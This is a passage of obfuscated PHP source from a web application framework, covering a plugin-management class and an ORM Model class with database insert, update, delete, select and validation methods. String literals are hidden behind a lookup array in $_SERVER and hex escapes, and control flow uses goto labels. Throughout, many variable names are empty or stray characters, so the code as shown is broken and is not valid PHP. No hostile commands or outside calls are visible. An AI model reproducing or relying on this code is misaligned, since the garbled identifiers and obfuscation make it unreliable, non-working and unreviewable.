!Action($Ӟ[1939])->checkAuth($¡)) { return !1; } return !0; } public function unInstall($߿) { $ =& $_SERVER[㫙]; $ŷ = $this->loadList($߿); if (file_exists(PLUGIN_DIR . $߿)) { Hook::apply($߿ . $[1940]); } $this->remove($ŷ[$[392]]); } public function changeStatus($论, $ي) { $ =& $_SERVER[㫙]; $ = $this->loadList($论); if ($ي) { Hook::apply($论 . $[1941]); } $this->update($[$[392]], array($[1942] => $ي)); } public function appRegist($ʩݘ, $Ţ) { $ =& $_SERVER[㫙]; $ = $this->loadList($ʩݘ); if ($) { $this->update($[$[392]], array($[1936] => $Ţ)); } else { $Ж = array($[32] => $ʩݘ, $[1936] => $Ţ, $[751] => 0, $[6] => $this->getConfigDefault($ʩݘ)); $this->insert($Ж); } } public function getConfigDefault($) { $ =& $_SERVER[㫙]; $ = array(); $撷 = $this->getPackageJson($); if (!$撷 && is_array($撷[$[1943]])) { return $; } foreach ($撷[$[1943]] as $嬌 => $) { if (!isset($[$[369]]) || isset($[$嬌])) { continue; } $[$嬌] = $[$[369]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[㫙][1944]); } public function getConfig($Ԓ쮨, $Ν = false) { $Ć =& $_SERVER[㫙]; $Á = array(); $˫ = $this->loadList($Ԓ쮨); if ($˫ && is_array($˫[$Ć[6]])) { $Á = $˫[$Ć[6]]; } if (!$Á || $Ν) { $Á = $this->getConfigDefault($Ԓ쮨); } return $Á; } public function setConfig($ю, $ = false) { $ =& $_SERVER[㫙]; $˺ł = $this->loadList($ю); if (!$˺ł) { return !1; } $ = $˺ł[$[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($ю); } foreach ($ as $԰ => $껓) { $[$԰] = is_string($껓) ? trim($껓) : $껓; } $this->update($˺ł[$[392]], array($[6] => $)); } public function viewList() { $ޛ =& $_SERVER[㫙]; $㭼 = $this->loadList(); $this->pluginScan($㭼); $㭼 = $this->loadPluginList(); $ = array(); foreach ($㭼 as $ => $풲ő) { unset($풲ő[$ޛ[1936]], $풲ő[$ޛ[6]]); $ɧ = PLUGIN_DIR . $풲ő[$ޛ[32]] . $ޛ[1938]; if (!is_file($ɧ)) { continue; } $ = Hook::apply($풲ő[$ޛ[32]] . $ޛ[1944]); if (is_array($)) { $[$] = array_merge($풲ő, $); } } return $; } private function loadPluginList() { $֮ =& $_SERVER[㫙]; $ؠ끶 = $this->loadList(); if (strtolower(MOD) == $֮[1945]) { return $ؠ끶; } $ɸ = Hook::trigger($֮[1946], $ؠ끶); if ($ؠ끶 && !$ɸ) { die; } return $ɸ ? $ɸ : $ؠ끶; } private function pluginScan($ːς) { $ =& $_SERVER[㫙]; recursion_dir(PLUGIN_DIR, $ڶ, $״, 0); foreach ($ڶ as $) { $ܭ = get_path_this($); if (isset($ːς[$ܭ]) || !file_exists($ . $[1947]) || !file_exists($ . $[1938])) { continue; } Hook::apply($ܭ . $[1941]); } } } goto EЌ툆; dɒ: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\x62\154\145", "\x6f\162\x64\145\162", "\x61\x6c\151\141\x73", "\150\x61\166\151\x6e\x67", "\147\162\x6f\x75\160", "\154\x6f\143\x6b", "\144\x69\x73\164\x69\156\x63\164", "\x61\x75\164\x6f", "\146\151\x6c\164\x65\x72", "\166\x61\154\151\x64\141\164\x65", "\x72\x65\x73\165\154\164", "\x62\151\156\144", "\x74\157\x6b\145\156"); public function __construct($ = '', $ε = '', $ = '') { $脭 =& $_SERVER[㫙]; $this->_initialize(); if (!empty($)) { if (strpos($, $脭[10])) { list($this->dbName, $this->name) = explode($脭[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ε)) { $this->tablePrefix = $脭[12]; } elseif ($脭[12] != $ε) { $this->tablePrefix = $ε; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($脭[239]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[㫙]; if (empty($this->fields)) { if (think_config($[240])) { $ɹѢ = $this->dbName ? $this->dbName : think_config($[241]); $쳷 = think_var_cache($[242] . strtolower(get_path_this($ɹѢ) . $[10] . $this->name)); if ($쳷) { $ = think_config($[243]); if (empty($) || $쳷[$[244]] == $) { $this->fields = $쳷; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[㫙]; $this->db->setModel($this->name); $ˠ = $this->db->getFields($this->getTableName()); if (!$ˠ) { return !1; } $this->fields = array_keys($ˠ); $this->fields[$[245]] = !1; foreach ($ˠ as $ً => $ȍ) { $[$ً] = $ȍ[$[33]]; if ($ȍ[$[39]]) { $this->fields[$[246]] = $ً; if ($ȍ[$[42]]) { $this->fields[$[245]] = !0; } } } $this->fields[$[247]] = $; if (think_config($[243])) { $this->fields[$[244]] = think_config($[243]); } if (think_config($[240])) { $ = $this->dbName ? $this->dbName : think_config($[241]); think_var_cache($[242] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields); } } public function switchModel($޴, $ = array()) { $ŝ =& $_SERVER[㫙]; $כ = ucwords(strtolower($޴)) . $ŝ[248]; if (!class_exists($כ)) { think_exception($כ . think_lang($ŝ[249])); } $this->_extModel = new $כ($this->name); if (!empty($)) { foreach ($ as $К) { $this->_extModel->setProperty($К, $this->{$К}); } } return $this->_extModel; } public function __set($˅, $ψ) { $this->data[$˅] = $ψ; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($Ӫۈ) { return isset($this->data[$Ӫۈ]); } public function __unset($) { unset($this->data[$]); } public function __call($, $ݎ) { $ =& $_SERVER[㫙]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $ݎ[0]; return $this; } elseif (in_array(strtolower($), array($[250], $[251], $[252], $[253], $[254]), !0)) { $־ = isset($ݎ[0]) ? $ݎ[0] : $[181]; $־ = $this->db->parseKey($־); return $this->getField(strtoupper($) . $[255] . $־ . $[256] . $, $[250]); } elseif (strtolower(substr($, 0, 5)) == $[257]) { $־ = think_parse_name(substr($, 5)); $[$־] = $ݎ[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $[258]) { $ˌ = think_parse_name(substr($, 10)); $[$ˌ] = $ݎ[0]; return $this->where($)->getField($ݎ[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $ݎ[0]); } elseif (method_exists($this, $)) { array_unshift($ݎ, $); return call_user_func_array(array($this, $[259]), $ݎ); } else { return call_user_func_array(array(parent, $), $ݎ); } } protected function call() { $㯳 =& $_SERVER[㫙]; $ğӚ = func_get_args(); $Ô = array_shift($ğӚ); $򷳍 = $Ô; if (is_array($Ô)) { $򷳍 = $Ô[1]; $Ô = $Ô[0]; } $ = count($ğӚ) - 1; if (isset($ğӚ[$]) && $ğӚ[$] === $Ô) { think_exception(__CLASS__ . $㯳[4] . $Ô . think_lang($㯳[260])); return; } $ğӚ[] = $Ô; if (method_exists($this, $㯳[261])) { $ = call_user_func_array(array($this, $㯳[262]), array($򷳍, $ğӚ)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $Ô), $ğӚ); if (method_exists($this, $㯳[263])) { $ = call_user_func_array(array($this, $㯳[264]), array($򷳍, $ğӚ, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($٨) { $ =& $_SERVER[㫙]; if (!empty($this->fields)) { foreach ($٨ as $ => $ƭƏ) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($٨[$]); } elseif (is_scalar($ƭƏ)) { $this->_parseType($٨, $); } } } if (!empty($this->options[$[265]])) { $٨ = array_map($this->options[$[265]], $٨); unset($this->options[$[265]]); } $this->_beforeWrite($٨); return $٨; } protected function _beforeWrite(&$ݱ) { } public function add($֋ = '', $ˆ = array(), $ = false) { if (empty($֋)) { if (!empty($this->data)) { $֋ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[㫙][266]); return !1; } } $ˆ = $this->_parseOptions($ˆ); $֋ = $this->_facade($֋); if (!1 === $this->_beforeInsert($֋, $ˆ)) { return !1; } $ꪥ = $this->db->insert($֋, $ˆ, $); if (!1 !== $ꪥ) { $۪ = $this->getLastInsID(); if ($۪) { $֋[$this->getPk()] = $۪; $this->_after_insert($֋, $ˆ); return $۪; } $this->_after_insert($֋, $ˆ); } return $ꪥ; } protected function _beforeInsert(&$, $ʎ) { } protected function _after_insert($ɖ, $Ζ) { } public function addAll($͌, $Ƕ = array(), $粍 = false) { $Х =& $_SERVER[㫙]; if (empty($͌)) { $this->error = think_lang($Х[266]); return !1; } $Ƕ = $this->_parseOptions($Ƕ); foreach ($͌ as $ => $) { $͌[$] = $this->_facade($); } if (method_exists($this->db, $Х[267])) { $̍ = $this->db->insertAll($͌, $Ƕ, $粍); } else { $this->startTrans(); foreach ($͌ as $ => $) { $̍ = $this->db->insert($, $Ƕ, $粍); } $this->commit(); } if (!1 !== $̍) { $׃荿 = $this->getLastInsID(); if ($׃荿) { return $׃荿; } } return $̍; } public function selectAdd($ = '', $ڣ = '', $߈ = array()) { $ґ =& $_SERVER[㫙]; $߈ = $this->_parseOptions($߈); if (!1 === ($ = $this->db->selectInsert($ ? $ : $߈[$ґ[268]], $ڣ ? $ڣ : $this->getTableName(), $߈))) { $this->error = think_lang($ґ[269]); return !1; } else { return $; } } public function save($廑 = '', $ = array()) { $ݏ =& $_SERVER[㫙]; if (empty($廑)) { if (!empty($this->data)) { $廑 = $this->data; $this->data = array(); } else { $this->error = think_lang($ݏ[266]); return !1; } } $廑 = $this->_facade($廑); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$ݏ[270]])) { if (isset($廑[$])) { $ń[$] = $廑[$]; $[$ݏ[270]] = $ń; unset($廑[$]); } else { $this->error = think_lang($ݏ[269]); return !1; } } if (is_array($[$ݏ[270]]) && isset($[$ݏ[270]][$])) { $ = $[$ݏ[270]][$]; } if (!1 === $this->_beforeUpdate($廑, $)) { return !1; } $ᚡ޴ = $this->db->update($廑, $); if (!1 !== $ᚡ޴) { if (isset($)) { $廑[$] = $; } $this->_afterUpdate($廑, $); } return $ᚡ޴; } protected function _beforeUpdate(&$, $) { } protected function _afterUpdate($, $—) { } public function delete($ߺ앂 = array()) { $ =& $_SERVER[㫙]; if (empty($ߺ앂) && empty($this->options[$[270]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $䤪 = $this->getPk(); if (is_numeric($ߺ앂) || is_string($ߺ앂)) { if (strpos($ߺ앂, $[50])) { $[$䤪] = array($[271], $ߺ앂); } else { $[$䤪] = $ߺ앂; } $this->options[$[270]] = $; } $ߺ앂 = $this->_parseOptions(); if (is_array($ߺ앂[$[270]]) && isset($ߺ앂[$[270]][$䤪])) { $ = $ߺ앂[$[270]][$䤪]; } $ = $this->db->delete($ߺ앂); if (!1 !== $) { $د = array(); if (isset($)) { $د[$䤪] = $; } $this->_after_delete($د, $ߺ앂); } return $; } protected function _after_delete($ՇΙ, $Ѡ) { } public function select($ = array()) { $ =& $_SERVER[㫙]; if (is_string($) || is_numeric($)) { $ذȠֹ = $this->getPk(); if (strpos($, $[50])) { $[$ذȠֹ] = array($[271], $); } else { $[$ذȠֹ] = $; } $this->options[$[270]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $[272] . $this->db->buildSelectSql($) . $[273]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$鬥մ, $) { } public function buildSql($ = array()) { $Ҧ =& $_SERVER[㫙]; $ = $this->_parseOptions($); return $Ҧ[272] . $this->db->buildSelectSql($) . $Ҧ[273]; } public function optionsValue($ح = null) { if (is_null($ح)) { return $this->options; } elseif (is_array($ح)) { $this->options = array_merge($this->options, $ح); } } protected function _parseOptions($̩ = array()) { $رӹ =& $_SERVER[㫙]; if (is_array($̩)) { $̩ = array_merge($this->options, $̩); } $this->options = array(); if (!isset($̩[$رӹ[274]])) { $̩[$رӹ[274]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($̩[$رӹ[275]])) { $̩[$رӹ[274]] .= $رӹ[53] . $̩[$رӹ[275]]; } $̩[$رӹ[276]] = $this->name; if (isset($̩[$رӹ[270]]) && is_array($̩[$رӹ[270]]) && !empty($) && !isset($̩[$رӹ[277]]) && !isset($̩[$رӹ[274]])) { foreach ($̩[$رӹ[270]] as $؃ => $) { $؃ = trim($؃); if (in_array($؃, $, !0)) { if (is_scalar($)) { $this->_parseType($̩[$رӹ[270]], $؃); } } elseif (!is_numeric($؃) && $رӹ[11] != substr($؃, 0, 1) && !1 === strpos($؃, $رӹ[10]) && !1 === strpos($؃, $رӹ[255]) && !1 === strpos($؃, $رӹ[278]) && !1 === strpos($؃, $رӹ[279])) { unset($̩[$رӹ[270]][$؃]); } } } $this->_options_filter($̩); return $̩; } protected function _options_filter(&$) { } protected function _parseType(&$ͦ, $) { $ơ =& $_SERVER[㫙]; if (empty($this->options[$ơ[280]][$ơ[4] . $])) { $Ԁ = strtolower($this->fields[$ơ[247]][$]); if (!1 !== strpos($Ԁ, $ơ[281])) { } elseif (!1 === strpos($Ԁ, $ơ[282]) && !1 !== strpos($Ԁ, $ơ[283])) { $ͦ[$] = intval($ͦ[$]); } elseif (!1 !== strpos($Ԁ, $ơ[284]) || !1 !== strpos($Ԁ, $ơ[285])) { $ͦ[$] = floatval($ͦ[$]); } elseif (!1 !== strpos($Ԁ, $ơ[286])) { $ͦ[$] = (bool) $ͦ[$]; } } } public function find($ʒ = array()) { $ =& $_SERVER[㫙]; if (is_numeric($ʒ) || is_string($ʒ)) { $DŽѶ[$this->getPk()] = intval($ʒ); $this->options[$[270]] = $DŽѶ; } $this->options[$[287]] = 1; $ʒ = $this->_parseOptions(); $ = $this->db->select($ʒ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ʒ); if (!empty($this->options[$[288]])) { return $this->returnResult($this->data, $this->options[$[288]]); } return $this->data; } protected function _afterFind(&$, $ߋ) { } protected function returnResult($ܿ, $ݽ = '') { $؉ =& $_SERVER[㫙]; if ($ݽ) { if (is_callable($ݽ)) { return call_user_func($ݽ, $ܿ); } switch (strtolower($ݽ)) { case $؉[289]: return json_encode($ܿ); case $؉[290]: return xml_encode($ܿ); } } return $ܿ; } public function parseFieldsMap($ʫ, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ڵ => $ҸΥ) { if ($ == 1) { if (isset($ʫ[$ҸΥ])) { $ʫ[$ڵ] = $ʫ[$ҸΥ]; unset($ʫ[$ҸΥ]); } } else { if (isset($ʫ[$ڵ])) { $ʫ[$ҸΥ] = $ʫ[$ڵ]; unset($ʫ[$ڵ]); } } } } return $ʫ; } public function setField($ÿ, $꺹 = '') { if (is_array($ÿ)) { $˗؍ = $ÿ; } else { $˗؍[$ÿ] = $꺹; } return $this->save($˗؍); } public function setAdd($, $ = 1) { $䃋 =& $_SERVER[㫙]; $Ϟ = $ . $䃋[291] . $; if ($ < 0) { $Ϟ = $ . $; } return $this->setField($, array($䃋[292], $Ϟ)); } public function getField($ښ؛, $ = null) { $ =& $_SERVER[㫙]; $[$[268]] = $ښ؛; $ = $this->_parseOptions($); $ښ؛ = trim($ښ؛); if (strpos($ښ؛, $[50])) { if (!isset($[$[287]])) { $[$[287]] = is_numeric($) ? $ : $[12]; } $ = $this->db->select($); if (!empty($)) { $ǁ = explode($[50], $ښ؛); $ښ؛ = array_keys($[0]); $Ω = array_shift($ښ؛); $䬚 = array_shift($ښ؛); $ = array(); $ = count($ǁ); foreach ($ as $עϪ) { $ۤ묎 = $עϪ[$Ω]; if (2 == $) { $[$ۤ묎] = $עϪ[$䬚]; } else { $[$ۤ묎] = is_string($) ? implode($, $עϪ) : $עϪ; } } return $; } } else { if (!0 !== $) { $[$[287]] = is_numeric($) ? $ : 1; } if ($ === $[250]) { unset($[$[287]]); } $עϪ = $this->db->select($); if (!empty($עϪ)) { if ($ === $[250]) { return reset($עϪ[0]); } if (!0 !== $ && 1 == $[$[287]]) { return reset($עϪ[0]); } foreach ($עϪ as $) { $ԩ[] = $[$ښ؛]; } return $ԩ; } } return null; } public function create($ˋ = '', $ؠǨ = '') { $ =& $_SERVER[㫙]; if (empty($ˋ)) { $ˋ = $_POST; } elseif (is_object($ˋ)) { $ˋ = get_object_vars($ˋ); } if (empty($ˋ) || !is_array($ˋ)) { $this->error = think_lang($[266]); return !1; } $ˋ = $this->parseFieldsMap($ˋ, 0); $ؠǨ = $ؠǨ ? $ؠǨ : (!empty($ˋ[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[268]])) { $ԡ = $this->options[$[268]]; unset($this->options[$[268]]); } elseif ($ؠǨ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ԡ = $this->insertFields; } elseif ($ؠǨ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ԡ = $this->updateFields; } if (isset($ԡ)) { if (is_string($ԡ)) { $ԡ = explode($[50], $ԡ); } if (think_config($[293])) { $ԡ[] = think_config($[294]); } foreach ($ˋ as $Ϟ => $) { if (!in_array($Ϟ, $ԡ)) { unset($ˋ[$Ϟ]); } } } if (!$this->autoValidation($ˋ, $ؠǨ)) { return !1; } if (!$this->autoCheckToken($ˋ)) { $this->error = think_lang($[295]); return !1; } if ($this->autoCheckFields) { $ԡ = $this->getDbFields(); foreach ($ˋ as $Ϟ => $) { if (!in_array($Ϟ, $ԡ)) { unset($ˋ[$Ϟ]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $ˋ[$Ϟ] = stripslashes($); } } } $this->autoOperation($ˋ, $ؠǨ); $this->data = $ˋ; return $ˋ; } public function autoCheckToken($蠭) { $ =& $_SERVER[㫙]; if (isset($this->options[$[296]]) && !$this->options[$[296]]) { return !0; } if (think_config($[293])) { $ = think_config($[294]); if (!isset($蠭[$]) || Session::get($)) { return !1; } list($斝, $ې) = explode($[11], $蠭[$]); if ($ې && Session::get($ . $[10] . $斝) === $ې) { Session::remove($ . $[10] . $斝); return !0; } if (think_config($[297])) { Session::remove($ . $[10] . $斝); } return !1; } return !0; } public function regex($ȓ, $) { $ =& $_SERVER[㫙]; $ = array($[298] => $[299], $[300] => $[301], $[302] => $[303], $[304] => $[305], $[306] => $[307], $[308] => $[309], $[310] => $[311], $[285] => $[312], $[313] => $[314]); if (isset($[strtolower($)])) { $ = $[strtolower($)]; } return preg_match($, $ȓ) === 1; } private function autoOperation(&$, $ِ) { $ =& $_SERVER[㫙]; if (!empty($this->options[$[315]])) { $ۑֆ = $this->options[$[315]]; unset($this->options[$[315]]); } elseif (!empty($this->_auto)) { $ۑֆ = $this->_auto; } if (isset($ۑֆ)) { foreach ($ۑֆ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ِ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[316]: case $[317]: $֘ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($֘, $[$[0]]); } if ($[316] == $[3]) { $[$[0]] = call_user_func_array($[1], $֘); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $֘); } break; case $[268]: $[$[0]] = $[$[1]]; break; case $[318]: if ($[12] === $[$[0]]) { unset($[$[0]]); } break; case $[319]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($ɥ, $) { $؆ =& $_SERVER[㫙]; if (!empty($this->options[$؆[320]])) { $ӈ = $this->options[$؆[320]]; unset($this->options[$؆[320]]); } elseif (!empty($this->_validate)) { $ӈ = $this->_validate; } if (isset($ӈ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ӈ as $䘽ڏ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $؆[321]) && strpos($[2], $؆[322])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $؆[323]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ɥ, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($؆[12] != trim($ɥ[$[0]])) { if (!1 === $this->_validationField($ɥ, $)) { return !1; } } break; default: if (isset($ɥ[$[0]])) { if (!1 === $this->_validationField($ɥ, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($֤, $汻) { if (!1 === $this->_validationFieldItem($֤, $汻)) { if ($this->patchValidate) { $this->error[$汻[0]] = $汻[2]; } else { $this->error = $汻[2]; return !1; } } return; } protected function _validationFieldItem($, $֚) { $ɳѥ =& $_SERVER[㫙]; switch (strtolower(trim($֚[4]))) { case $ɳѥ[316]: case $ɳѥ[317]: $骋 = isset($֚[6]) ? (array) $֚[6] : array(); if (is_string($֚[0]) && strpos($֚[0], $ɳѥ[50])) { $֚[0] = explode($ɳѥ[50], $֚[0]); } if (is_array($֚[0])) { foreach ($֚[0] as $Ƀ) { $ː[$Ƀ] = $[$Ƀ]; } array_unshift($骋, $ː); } else { array_unshift($骋, $[$֚[0]]); } if ($ɳѥ[316] == $֚[4]) { return call_user_func_array($֚[1], $骋); } else { return call_user_func_array(array(&$this, $֚[1]), $骋); } case $ɳѥ[324]: return $[$֚[0]] == $[$֚[1]]; case $ɳѥ[325]: if (is_string($֚[0]) && strpos($֚[0], $ɳѥ[50])) { $֚[0] = explode($ɳѥ[50], $֚[0]); } $€ꩫ = array(); if (is_array($֚[0])) { foreach ($֚[0] as $Ƀ) { $€ꩫ[$Ƀ] = $[$Ƀ]; } } else { $€ꩫ[$֚[0]] = $[$֚[0]]; } if (!empty($[$this->getPk()])) { $€ꩫ[$this->getPk()] = array($ɳѥ[326], $[$this->getPk()]); } if ($this->where($€ꩫ)->find()) { return !1; } return !0; default: return $this->check($[$֚[0]], $֚[1], $֚[4]); } } public function check($, $, $ܡ = "\162\x65\x67\145\x78") { $ݒ =& $_SERVER[㫙]; $ܡ = strtolower(trim($ܡ)); switch ($ܡ) { case $ݒ[7]: case $ݒ[327]: $ = is_array($) ? $ : explode($ݒ[50], $); return $ܡ == $ݒ[7] ? in_array($, $) : !in_array($, $); case $ݒ[328]: case $ݒ[329]: if (is_array($)) { $㉤ = $[0]; $뵞 = $[1]; } else { list($㉤, $뵞) = explode($ݒ[50], $); } return $ܡ == $ݒ[328] ? $ >= $㉤ && $ <= $뵞 : $ < $㉤ || $ > $뵞; case $ݒ[330]: case $ݒ[331]: return $ܡ == $ݒ[330] ? $ == $ : $ != $; case $ݒ[332]: $״ = mb_strlen($, $ݒ[333]); if (strpos($, $ݒ[50])) { list($㉤, $뵞) = explode($ݒ[50], $); return $״ >= $㉤ && $״ <= $뵞; } else { return $״ == $; } case $ݒ[334]: list($ן, $ػ) = explode($ݒ[50], $); if (!is_numeric($ן)) { $ן = strtotime($ן); } if (!is_numeric($ػ)) { $ػ = strtotime($ػ); } return NOW_TIME >= $ן && NOW_TIME <= $ػ; case $ݒ[335]: return in_array(get_client_ip(), explode($ݒ[50], $)); case $ݒ[336]: return !in_array(get_client_ip(), explode($ݒ[50], $)); case $ݒ[323]: default: return $this->regex($, $); } } public function query($Ԣ, $ = false) { $收 =& $_SERVER[㫙]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $Ԣ = str_replace(array($收[226], $收[337]), $收[53], $Ԣ); $Ԣ = $this->parseSql($Ԣ, $); return $this->db->query($Ԣ); } public function execute($ʜ̼, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ʜ̼ = $this->parseSql($ʜ̼, $); return $this->db->execute($ʜ̼); } protected function parseSql($͝, $٢) { $ʂ =& $_SERVER[㫙]; if (!0 === $٢) { $ = $this->_parseOptions(); $͝ = $this->db->parseSql($͝, $); } elseif (is_array($٢)) { $٢ = array_map(array($this->db, $ʂ[338]), $٢); $͝ = vsprintf($͝, $٢); } else { $͝ = strtr($͝, array($ʂ[339] => $this->getTableName(), $ʂ[340] => think_config($ʂ[239]))); } $this->db->setModel($this->name); return $͝; } public function db($Ӹ = '', $ = '', $Ꮣ = array()) { $ =& $_SERVER[㫙]; if ($[12] === $Ӹ && $this->db) { return $this->db; } static $ï = array(); static $۬ = array(); if (!isset($۬[$Ӹ]) || isset($۬[$Ӹ]) && $ && $ï[$Ӹ] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $Ӹ = think_guid($); $۬[$Ӹ] = Db::getInstance($); } elseif (NULL === $) { $۬[$Ӹ]->close(); unset($۬[$Ӹ]); return; } if (!empty($Ꮣ)) { if (is_string($Ꮣ)) { parse_str($Ꮣ, $Ꮣ); } foreach ($Ꮣ as $ߖ => $) { $this->setProperty($ߖ, $); } } $ï[$Ӹ] = $; $this->db = $۬[$Ӹ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ȠН = get_class($this); if ($ȠН == $_SERVER[㫙][341]) { return $this->name; } $this->name = substr($ȠН, 0, -5); } return $this->name; } public function getTableName() { $˕ =& $_SERVER[㫙]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $˕[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $˕[10] : $˕[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[㫙]; return isset($this->fields[$[246]]) ? $this->fields[$[246]] : $this->pk; } public function getDbFields() { $ަާ =& $_SERVER[㫙]; if (isset($this->options[$ަާ[274]])) { $ = $this->db->getFields($this->options[$ަާ[274]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$ަާ[245]], $[$ަާ[246]], $[$ަާ[247]], $[$ަާ[244]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[㫙]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[266])); } $this->data = $; return $this; } public function join($Ĩ) { $ =& $_SERVER[㫙]; if (is_array($Ĩ)) { $this->options[$[277]] = $Ĩ; } elseif (!empty($Ĩ)) { $this->options[$[277]][] = $Ĩ; } return $this; } public function union($̍, $ = false) { $Җ =& $_SERVER[㫙]; if (empty($̍)) { return $this; } if ($) { $this->options[$Җ[342]][$Җ[343]] = !0; } if (is_object($̍)) { $̍ = get_object_vars($̍); } if (is_string($̍)) { $ᙺ = $̍; } elseif (is_array($̍)) { if (isset($̍[0])) { $this->options[$Җ[342]] = array_merge($this->options[$Җ[342]], $̍); return $this; } else { $ᙺ = $̍; } } else { think_exception(think_lang($Җ[266])); } $this->options[$Җ[342]][] = $ᙺ; return $this; } public function cache($ӝ = true, $ = null, $ = '') { $±㠫 =& $_SERVER[㫙]; if (!1 !== $ӝ) { $this->options[$±㠫[344]] = array($±㠫[95] => $ӝ, $±㠫[334] => $, $±㠫[33] => $); } return $this; } public function field($˧, $Ϡ = false) { $ =& $_SERVER[㫙]; if (!0 === $˧) { $ = $this->getDbFields(); $˧ = $ ? $ : $[181]; } elseif ($Ϡ) { if (is_string($˧)) { $˧ = explode($[50], $˧); } $ = $this->getDbFields(); $˧ = $ ? array_diff($, $˧) : $˧; } $this->options[$[268]] = $˧; return $this; } public function scope($ = '', $ʓ = NULL) { $많™ =& $_SERVER[㫙]; if ($많™[12] === $) { if (isset($this->_scope[$많™[37]])) { $򙧍 = $this->_scope[$많™[37]]; } else { return $this; } } elseif (is_string($)) { $dž = explode($많™[50], $); $򙧍 = array(); foreach ($dž as $ɮ) { if (!isset($this->_scope[$ɮ])) { continue; } $򙧍 = array_merge($򙧍, $this->_scope[$ɮ]); } if (!empty($ʓ) && is_array($ʓ)) { $򙧍 = array_merge($򙧍, $ʓ); } } elseif (is_array($)) { $򙧍 = $; } if (is_array($򙧍) && !empty($򙧍)) { $this->options = array_merge($this->options, array_change_key_case($򙧍)); } return $this; } public function where($粒ධ, $ɼ = null) { $؈ =& $_SERVER[㫙]; if (!is_null($ɼ) && is_string($粒ධ)) { if (!is_array($ɼ)) { $ɼ = func_get_args(); array_shift($ɼ); } $ɼ = array_map(array($this->db, $؈[338]), $ɼ); $粒ධ = vsprintf($粒ධ, $ɼ); } elseif (is_object($粒ධ)) { $粒ධ = get_object_vars($粒ධ); } elseif (is_array($粒ධ)) { foreach ($粒ධ as $ō => $) { if ((is_numeric($ō) || !$ō) && is_string($)) { if (strpos($, $؈[345]) === 0) { continue; } think_trace($؈[346], $؈[12], $؈[49]); die; } } } if (is_string($粒ධ) && $؈[12] != 